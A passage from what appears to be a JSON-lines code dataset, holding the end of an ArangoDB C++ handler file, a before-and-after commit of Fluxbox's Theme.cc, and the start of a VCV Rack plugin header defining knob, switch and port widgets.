use this file except in compliance with the License.\n\/\/\/ You may obtain a copy of the License at\n\/\/\/\n\/\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\/\n\/\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/\/ See the License for the specific language governing permissions and\n\/\/\/ limitations under the License.\n\/\/\/\n\/\/\/ Copyright holder is ArangoDB GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ @author Dr. Frank Celler\n\/\/\/ @author Copyright 2014, ArangoDB GmbH, Cologne, Germany\n\/\/\/ @author Copyright 2009-2014, triAGENS GmbH, Cologne, Germany\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"Handler.h\"\n\nusing namespace triagens::rest;\nusing namespace std;\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ --SECTION--                                      constructors and destructors\n\/\/ -----------------------------------------------------------------------------\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief constructor\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nHandler::Handler () {\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief destructs a handler\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nHandler::~Handler () {\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ --SECTION--                                                    public methods\n\/\/ -----------------------------------------------------------------------------\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief returns the job type\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nJob::JobType Handler::type () {\n  return Job::READ_JOB;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief returns the queue name\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstring const& Handler::queue () const {\n  static string const standard = \"STANDARD\";\n  return standard;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief sets the thread which currently dealing with the job\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid Handler::setDispatcherThread (DispatcherThread*) {\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief tries to cancel an execution\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool Handler::cancel (bool) {\n  return false;\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ --SECTION--                                                       END-OF-FILE\n\/\/ -----------------------------------------------------------------------------\n\n\/\/ Local Variables:\n\/\/ mode: outline-minor\n\/\/ outline-regexp: \"\/\/\/ @brief\\\\|\/\/\/ {@inheritDoc}\\\\|\/\/\/ @page\\\\|\/\/ --SECTION--\\\\|\/\/\/ @\\\\}\"\n\/\/ End:\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Theme.cc for FbTk - Fluxbox ToolKit\n\/\/ Copyright (c) 2002 - 2003 Henrik Kinnunen (fluxgen at users.sourceforge.net)\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a\n\/\/ copy of this software and associated documentation files (the \"Software\"),\n\/\/ to deal in the Software without restriction, including without limitation\n\/\/ the rights to use, copy, modify, merge, publish, distribute, sublicense,\n\/\/ and\/or sell copies of the Software, and to permit persons to whom the\n\/\/ Software is furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL\n\/\/ THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n\/\/ DEALINGS IN THE SOFTWARE.\n\n\/\/ $Id: Theme.cc,v 1.29 2004\/08\/31 15:26:39 rathnor Exp $\n\n#include \"Theme.hh\"\n\n#include \"XrmDatabaseHelper.hh\"\n#include \"App.hh\"\n#include \"StringUtil.hh\"\n#include \"ThemeItems.hh\"\n#include \"Directory.hh\"\n#include \"I18n.hh\"\n\n#ifdef HAVE_CSTDIO\n  #include <cstdio>\n#else\n  #include <stdio.h>\n#endif\n#include <memory>\n#include <iostream>\n\nusing namespace std;\n\nnamespace FbTk {\n\nTheme::Theme(int screen_num):m_screen_num(screen_num) {\n    ThemeManager::instance().registerTheme(*this);\n}\n\nTheme::~Theme() {\n    ThemeManager::instance().unregisterTheme(*this);\n}\n\nThemeManager &ThemeManager::instance() {\n    static ThemeManager tm;\n    return tm;\n}\n\nThemeManager::ThemeManager():\n    \/\/ max_screens: we initialize this later so we can set m_verbose \n    \/\/ without having a display connection\n    m_max_screens(-1), \n    m_verbose(false),\n    m_themelocation(\"\") {\n\n}\n\nbool ThemeManager::registerTheme(Theme &tm) {\n    if (m_max_screens < 0)\n        m_max_screens = ScreenCount(FbTk::App::instance()->display());\n\n    \/\/ valid screen num?\n    if (m_max_screens < tm.screenNum() || tm.screenNum() < 0)\n        return false;\n    \/\/ TODO: use find and return false if it's already there\n    \/\/ instead of unique \n    m_themelist.push_back(&tm);\n    m_themelist.unique(); \n    return true;\n}\n\nbool ThemeManager::unregisterTheme(Theme &tm) {\n    m_themelist.remove(&tm);\n    return true;\n}\n\nbool ThemeManager::load(const std::string &filename, int screen_num) {\n    std::string location = FbTk::StringUtil::expandFilename(filename);\n    std::string prefix = \"\";\n\n    if (Directory::isDirectory(filename)) {\n        prefix = location;\n\n        location.append(\"\/theme.cfg\");\n        if (!Directory::isRegularFile(location)) {\n            location = prefix;\n            location.append(\"\/style.cfg\");\n            if (!Directory::isRegularFile(location)) {\n                cerr<<\"Error loading theme file \"<<location<<\": not a regular file\"<<endl;\n                return false;\n            }\n        }\n    } else {\n        \/\/ dirname\n        prefix = location.substr(0, location.find_last_of('\/'));\n    }\n\n    if (!m_database.load(location.c_str()))\n        return false;\n\n    \/\/ relies on the fact that load_rc clears search paths each time\n    if (m_themelocation != \"\") {\n        Image::removeSearchPath(m_themelocation);\n        m_themelocation.append(\"\/pixmaps\");\n        Image::removeSearchPath(m_themelocation);\n    }\n\n    m_themelocation = prefix;\n\n    location = prefix;\n    Image::addSearchPath(location);\n    location.append(\"\/pixmaps\");\n    Image::addSearchPath(location);\n\n    \/\/ get list and go throu all the resources and load them\n    ThemeList::iterator theme_it = m_themelist.begin();\n    const ThemeList::iterator theme_it_end = m_themelist.end();\n    for (; theme_it != theme_it_end; ++theme_it) {\n        if (screen_num < 0)\n            loadTheme(**theme_it);\n        else if (screen_num == (*theme_it)->screenNum()) \/\/ specified screen\n            loadTheme(**theme_it);\n            \n    }\n    \/\/ notify all themes that we reconfigured\n    theme_it = m_themelist.begin();\n    for (; theme_it != theme_it_end; ++theme_it) {\n        \/\/ send reconfiguration signal to theme and listeners\n        (*theme_it)->reconfigTheme();\n        (*theme_it)->reconfigSig().notify();\n    }\n    return true;\n}\n\nvoid ThemeManager::loadTheme(Theme &tm) {\n    std::list<ThemeItem_base *>::iterator i = tm.itemList().begin();\n    std::list<ThemeItem_base *>::iterator i_end = tm.itemList().end();\n    for (; i != i_end; ++i) {\n        ThemeItem_base *resource = *i;\n        if (!loadItem(*resource)) {\n            \/\/ try fallback resource in theme\n            if (!tm.fallback(*resource)) {\n                if (verbose()) {\n                    _FB_USES_NLS;\n                    cerr<<_FBTKTEXT(Error, ThemeItem, \"Failed to read theme item\", \"When reading a style, couldn't read a specific item (following)\")<<\": \"<<resource->name()<<endl;\n                }\n                resource->setDefaultValue();\n            }\n        }\n    }\n    \/\/ send reconfiguration signal to theme and listeners\n}\n\nbool ThemeManager::loadItem(ThemeItem_base &resource) {\n    return loadItem(resource, resource.name(), resource.altName());\n}\n\n\/\/\/ handles resource item loading with specific name\/altname\nbool ThemeManager::loadItem(ThemeItem_base &resource, const std::string &name, const std::string &alt_name) {\n    XrmValue value;\n    char *value_type;\n    if (XrmGetResource(*m_database, name.c_str(),\n                       alt_name.c_str(), &value_type, &value)) {\n        resource.setFromString(value.addr);\n        resource.load(&name, &alt_name); \/\/ load additional stuff by the ThemeItem\n    } else\n        return false;\n\n    return true;\n}\n\nstd::string ThemeManager::resourceValue(const std::string &name, const std::string &altname) {\n    XrmValue value;\n    char *value_type;\n    if (*m_database != 0 && XrmGetResource(*m_database, name.c_str(),\n                                           altname.c_str(), &value_type, &value) && value.addr != 0)\n        return string(value.addr);\n\n    return \"\";\n}\n\n\/*\nvoid ThemeManager::listItems() {\n    ThemeList::iterator it = m_themelist.begin();\n    ThemeList::iterator it_end = m_themelist.end();\n    for (; it != it_end; ++it) {\n        std::list<ThemeItem_base *>::iterator item = (*it)->itemList().begin();\n        std::list<ThemeItem_base *>::iterator item_end = (*it)->itemList().end();\n        for (; item != item_end; ++item) {\n            \n            if (typeid(**item) == typeid(ThemeItem<Texture>)) {\n                cerr<<(*item)->name()<<\": <texture type>\"<<endl;\n                cerr<<(*item)->name()<<\".pixmap:  <filename>\"<<endl;\n                cerr<<(*item)->name()<<\".color:  <color>\"<<endl;\n                cerr<<(*item)->name()<<\".colorTo: <color>\"<<endl;\n            } else if (typeid(**item) == typeid(ThemeItem<Color>)) {\n                cerr<<(*item)->name()<<\": <color>\"<<endl;\n            } else if (typeid(**item) == typeid(ThemeItem<int>)) {\n                cerr<<(*item)->name()<<\": <integer>\"<<endl;\n            } else if (typeid(**item) == typeid(ThemeItem<bool>)) {\n                cerr<<(*item)->name()<<\": <boolean>\"<<endl;\n            } else if (typeid(**item) == typeid(ThemeItem<PixmapWithMask>)) {\n                cerr<<(*item)->name()<<\": <filename>\"<<endl;\n            }  else if (typeid(**item) == typeid(ThemeItem<std::string>)) {\n                cerr<<(*item)->name()<<\": <string>\"<<endl;\n            } else if (typeid(**item) == typeid(ThemeItem<Font>)) {\n                cerr<<(*item)->name()<<\": <font>\"<<endl;\n            } else {\n                cerr<<(*item)->name()<<\":\"<<endl;\n            }\n        }\n    }\n             \n}\n*\/\n}; \/\/ end namespace FbTk\n<commit_msg>modified to make it work with the ThemeItem.hh -> ThemeItem.cc action<commit_after>\/\/ Theme.cc for FbTk - Fluxbox ToolKit\n\/\/ Copyright (c) 2002 - 2003 Henrik Kinnunen (fluxgen at users.sourceforge.net)\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a\n\/\/ copy of this software and associated documentation files (the \"Software\"),\n\/\/ to deal in the Software without restriction, including without limitation\n\/\/ the rights to use, copy, modify, merge, publish, distribute, sublicense,\n\/\/ and\/or sell copies of the Software, and to permit persons to whom the\n\/\/ Software is furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL\n\/\/ THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n\/\/ DEALINGS IN THE SOFTWARE.\n\n\/\/ $Id: Theme.cc,v 1.30 2004\/10\/21 16:45:30 akir Exp $\n\n#include \"Theme.hh\"\n\n#include \"XrmDatabaseHelper.hh\"\n#include \"App.hh\"\n#include \"StringUtil.hh\"\n#include \"Directory.hh\"\n#include \"I18n.hh\"\n#include \"Image.hh\"\n\n#ifdef HAVE_CSTDIO\n  #include <cstdio>\n#else\n  #include <stdio.h>\n#endif\n#include <memory>\n#include <iostream>\n\nusing namespace std;\n\nnamespace FbTk {\n\nTheme::Theme(int screen_num):m_screen_num(screen_num) {\n    ThemeManager::instance().registerTheme(*this);\n}\n\nTheme::~Theme() {\n    ThemeManager::instance().unregisterTheme(*this);\n}\n\nThemeManager &ThemeManager::instance() {\n    static ThemeManager tm;\n    return tm;\n}\n\nThemeManager::ThemeManager():\n    \/\/ max_screens: we initialize this later so we can set m_verbose \n    \/\/ without having a display connection\n    m_max_screens(-1), \n    m_verbose(false),\n    m_themelocation(\"\") {\n\n}\n\nbool ThemeManager::registerTheme(Theme &tm) {\n    if (m_max_screens < 0)\n        m_max_screens = ScreenCount(FbTk::App::instance()->display());\n\n    \/\/ valid screen num?\n    if (m_max_screens < tm.screenNum() || tm.screenNum() < 0)\n        return false;\n    \/\/ TODO: use find and return false if it's already there\n    \/\/ instead of unique \n    m_themelist.push_back(&tm);\n    m_themelist.unique(); \n    return true;\n}\n\nbool ThemeManager::unregisterTheme(Theme &tm) {\n    m_themelist.remove(&tm);\n    return true;\n}\n\nbool ThemeManager::load(const std::string &filename, int screen_num) {\n    std::string location = FbTk::StringUtil::expandFilename(filename);\n    std::string prefix = \"\";\n\n    if (Directory::isDirectory(filename)) {\n        prefix = location;\n\n        location.append(\"\/theme.cfg\");\n        if (!Directory::isRegularFile(location)) {\n            location = prefix;\n            location.append(\"\/style.cfg\");\n            if (!Directory::isRegularFile(location)) {\n                cerr<<\"Error loading theme file \"<<location<<\": not a regular file\"<<endl;\n                return false;\n            }\n        }\n    } else {\n        \/\/ dirname\n        prefix = location.substr(0, location.find_last_of('\/'));\n    }\n\n    if (!m_database.load(location.c_str()))\n        return false;\n\n    \/\/ relies on the fact that load_rc clears search paths each time\n    if (m_themelocation != \"\") {\n        Image::removeSearchPath(m_themelocation);\n        m_themelocation.append(\"\/pixmaps\");\n        Image::removeSearchPath(m_themelocation);\n    }\n\n    m_themelocation = prefix;\n\n    location = prefix;\n    Image::addSearchPath(location);\n    location.append(\"\/pixmaps\");\n    Image::addSearchPath(location);\n\n    \/\/ get list and go throu all the resources and load them\n    ThemeList::iterator theme_it = m_themelist.begin();\n    const ThemeList::iterator theme_it_end = m_themelist.end();\n    for (; theme_it != theme_it_end; ++theme_it) {\n        if (screen_num < 0)\n            loadTheme(**theme_it);\n        else if (screen_num == (*theme_it)->screenNum()) \/\/ specified screen\n            loadTheme(**theme_it);\n            \n    }\n    \/\/ notify all themes that we reconfigured\n    theme_it = m_themelist.begin();\n    for (; theme_it != theme_it_end; ++theme_it) {\n        \/\/ send reconfiguration signal to theme and listeners\n        (*theme_it)->reconfigTheme();\n        (*theme_it)->reconfigSig().notify();\n    }\n    return true;\n}\n\nvoid ThemeManager::loadTheme(Theme &tm) {\n    std::list<ThemeItem_base *>::iterator i = tm.itemList().begin();\n    std::list<ThemeItem_base *>::iterator i_end = tm.itemList().end();\n    for (; i != i_end; ++i) {\n        ThemeItem_base *resource = *i;\n        if (!loadItem(*resource)) {\n            \/\/ try fallback resource in theme\n            if (!tm.fallback(*resource)) {\n                if (verbose()) {\n                    _FB_USES_NLS;\n                    cerr<<_FBTKTEXT(Error, ThemeItem, \"Failed to read theme item\", \"When reading a style, couldn't read a specific item (following)\")<<\": \"<<resource->name()<<endl;\n                }\n                resource->setDefaultValue();\n            }\n        }\n    }\n    \/\/ send reconfiguration signal to theme and listeners\n}\n\nbool ThemeManager::loadItem(ThemeItem_base &resource) {\n    return loadItem(resource, resource.name(), resource.altName());\n}\n\n\/\/\/ handles resource item loading with specific name\/altname\nbool ThemeManager::loadItem(ThemeItem_base &resource, const std::string &name, const std::string &alt_name) {\n    XrmValue value;\n    char *value_type;\n    if (XrmGetResource(*m_database, name.c_str(),\n                       alt_name.c_str(), &value_type, &value)) {\n        resource.setFromString(value.addr);\n        resource.load(&name, &alt_name); \/\/ load additional stuff by the ThemeItem\n    } else\n        return false;\n\n    return true;\n}\n\nstd::string ThemeManager::resourceValue(const std::string &name, const std::string &altname) {\n    XrmValue value;\n    char *value_type;\n    if (*m_database != 0 && XrmGetResource(*m_database, name.c_str(),\n                                           altname.c_str(), &value_type, &value) && value.addr != 0)\n        return string(value.addr);\n\n    return \"\";\n}\n\n\/*\nvoid ThemeManager::listItems() {\n    ThemeList::iterator it = m_themelist.begin();\n    ThemeList::iterator it_end = m_themelist.end();\n    for (; it != it_end; ++it) {\n        std::list<ThemeItem_base *>::iterator item = (*it)->itemList().begin();\n        std::list<ThemeItem_base *>::iterator item_end = (*it)->itemList().end();\n        for (; item != item_end; ++item) {\n            \n            if (typeid(**item) == typeid(ThemeItem<Texture>)) {\n                cerr<<(*item)->name()<<\": <texture type>\"<<endl;\n                cerr<<(*item)->name()<<\".pixmap:  <filename>\"<<endl;\n                cerr<<(*item)->name()<<\".color:  <color>\"<<endl;\n                cerr<<(*item)->name()<<\".colorTo: <color>\"<<endl;\n            } else if (typeid(**item) == typeid(ThemeItem<Color>)) {\n                cerr<<(*item)->name()<<\": <color>\"<<endl;\n            } else if (typeid(**item) == typeid(ThemeItem<int>)) {\n                cerr<<(*item)->name()<<\": <integer>\"<<endl;\n            } else if (typeid(**item) == typeid(ThemeItem<bool>)) {\n                cerr<<(*item)->name()<<\": <boolean>\"<<endl;\n            } else if (typeid(**item) == typeid(ThemeItem<PixmapWithMask>)) {\n                cerr<<(*item)->name()<<\": <filename>\"<<endl;\n            }  else if (typeid(**item) == typeid(ThemeItem<std::string>)) {\n                cerr<<(*item)->name()<<\": <string>\"<<endl;\n            } else if (typeid(**item) == typeid(ThemeItem<Font>)) {\n                cerr<<(*item)->name()<<\": <font>\"<<endl;\n            } else {\n                cerr<<(*item)->name()<<\":\"<<endl;\n            }\n        }\n    }\n             \n}\n*\/\n}; \/\/ end namespace FbTk\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n#include \"rack.hpp\"\n#include \"QuantizeUtils.cpp\"\n#define RIGHT_ARROW \"▸\"\n\nusing namespace rack;\nextern Plugin *pluginInstance;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ PANELS \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstruct BGPanel : Widget {\n\tWidget *panelBorder;\n\tNVGcolor color;\n\n\tBGPanel(NVGcolor _color) {\n\t\tpanelBorder = new PanelBorder;\n\t\tcolor = _color;\n\t\taddChild(panelBorder);\n\t}\n\n\tvoid step() override {\n\t\tpanelBorder->box.size = box.size;\n\t\tWidget::step();\n\t}\n\n\tvoid draw(const DrawArgs &args) override {\n\t\tnvgBeginPath(args.vg);\n\t\tnvgRect(args.vg, 0.0, 0.0, box.size.x, box.size.y);\n\t\tnvgFillColor(args.vg, color);\n\t\tnvgFill(args.vg);\n\t\tWidget::draw(args);\n\t}\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ LABELS \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstruct CenteredLabel : Widget {\n\tstd::string text;\n\tint fontSize;\n\tCenteredLabel(int _fontSize = 12) {\n\t\tfontSize = _fontSize;\n\t\tbox.size.y = BND_WIDGET_HEIGHT;\n\t}\n\tvoid draw(const DrawArgs &args) override {\n\t\tnvgTextAlign(args.vg, NVG_ALIGN_CENTER);\n\t\tnvgFillColor(args.vg, nvgRGB(25, 150, 252));\n\t\tnvgFontSize(args.vg, fontSize);\n\t\tnvgText(args.vg, box.pos.x, box.pos.y, text.c_str(), NULL);\n\t}\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ KNOBS \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstruct SmallWhiteKnob : RoundKnob {\n\tCenteredLabel* linkedLabel = NULL;\n\tModule* linkedModule = NULL;\n\n\tSmallWhiteKnob() {\n\t\tshadow->opacity = 0;\n\t\tsetSVG(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/SmallWhiteKnob.svg\")));\n\t}\n\t\n\tvoid connectLabel(CenteredLabel* label, Module* module) {\n\t\tlinkedLabel = label;\n\t\tlinkedModule = module;\n\t\tif (linkedModule && linkedLabel) {\n\t\t\tlinkedLabel->text = formatCurrentValue();\n\t\t}\n\t}\n\n\tvoid onChange(const event::Change &e) override {\n\t\tRoundKnob::onChange(e);\n\t\tif (linkedModule && linkedLabel) {\n\t\t\tlinkedLabel->text = formatCurrentValue();\n\t\t}\n\t}\n\n\tvirtual std::string formatCurrentValue() {\n\t\tif(paramQuantity != NULL){\n\t\t\treturn std::to_string(static_cast<unsigned int>(paramQuantity->getValue()));\n\t\t}\n\t\treturn \"\";\n\t}\n};\n\nstruct NoteKnob : SmallWhiteKnob {\n\tQuantizeUtils *quantizeUtils;\n\tNoteKnob(){\n\t\tsnap = true;\n\t}\n\tstd::string formatCurrentValue() override {\n\t\tif(paramQuantity != NULL){\n\t\t\treturn quantizeUtils->noteName(int(paramQuantity->getValue()));\n\t\t}\n\t\treturn \"\";\n\t}\n};\n\nstruct ScaleKnob : SmallWhiteKnob {\n\tQuantizeUtils *quantizeUtils;\n\tScaleKnob(){\n\t\tsnap = true;\n\t}\n\tstd::string formatCurrentValue() override {\n\t\tif(paramQuantity != NULL){\n\t\t\treturn quantizeUtils->scaleName(int(paramQuantity->getValue()));\n\t\t}\n\t\treturn \"\";\n\t}\n};\n\nstruct JwSmallSnapKnob : SmallWhiteKnob {\n\tJwSmallSnapKnob() {\n\t\tsnap = true;\n\t}\n};\n\nstruct JwTinyKnob : RoundKnob {\n\tJwTinyKnob() {\n\t\tsetSVG(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/TinyWhiteKnob.svg\")));\n\t}\n};\n\nstruct JwTinyGrayKnob : RoundKnob {\n\tJwTinyGrayKnob() {\n\t\tsetSVG(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/TinyWhiteGrayKnob.svg\")));\n\t}\n};\n\nstruct BPMPartKnob : JwSmallSnapKnob {\t\n\tBPMPartKnob(){} \n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ SWITCHES \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstruct JwHorizontalSwitch : SVGSwitch {\n\tJwHorizontalSwitch() {\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/Switch_Horizontal_0.svg\")));\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/Switch_Horizontal_1.svg\")));\n\t}\n};\n\nstruct JwVerticalSwitch : SVGSwitch {\n\tJwVerticalSwitch() {\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/Switch_Vertical_0.svg\")));\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/Switch_Vertical_1.svg\")));\n\t}\n};\n\nstruct BowlSwitch : SVGSwitch {\n\tBowlSwitch() {\n\t\tshadow->opacity = 0;\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/Bowl-no-food.svg\")));\n\t\taddFrame(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/Bowl-food.svg\")));\n\t}\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ PORTS \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstruct TinyPJ301MPort : SvgPort {\n\tTinyPJ301MPort() {\n\t\tsetSvg(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/TinyPJ301M.svg\")));\n\t}\n};\n\nstruct Orange_TinyPJ301MPort : SvgPort {\n\tOrange_TinyPJ301MPort() {\n\t\tsetSvg(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/TinyPJ301M_orange.svg\")));\n\t}\n};\n\nstruct Yellow_TinyPJ301MPort : SvgPort {\n\tYellow_TinyPJ301MPort() {\n\t\tsetSvg(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/TinyPJ301M_yellow.svg\")));\n\t}\n};\n\nstruct Purple_TinyPJ301MPort : SvgPort {\n\tPurple_TinyPJ301MPort() {\n\t\tsetSvg(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/TinyPJ301M_purple.svg\")));\n\t}\n};\n\nstruct Blue_TinyPJ301MPort : SvgPort {\n\tBlue_TinyPJ301MPort() {\n\t\tsetSvg(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/TinyPJ301M_blue.svg\")));\n\t}\n};\n\nstruct White_TinyPJ301MPort : SvgPort {\n\tWhite_TinyPJ301MPort() {\n\t\tsetSvg(APP->window->loadSvg(asset::plugin(pluginInstance, \"res\/TinyPJ301M_white.svg\")));\n\t}\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ 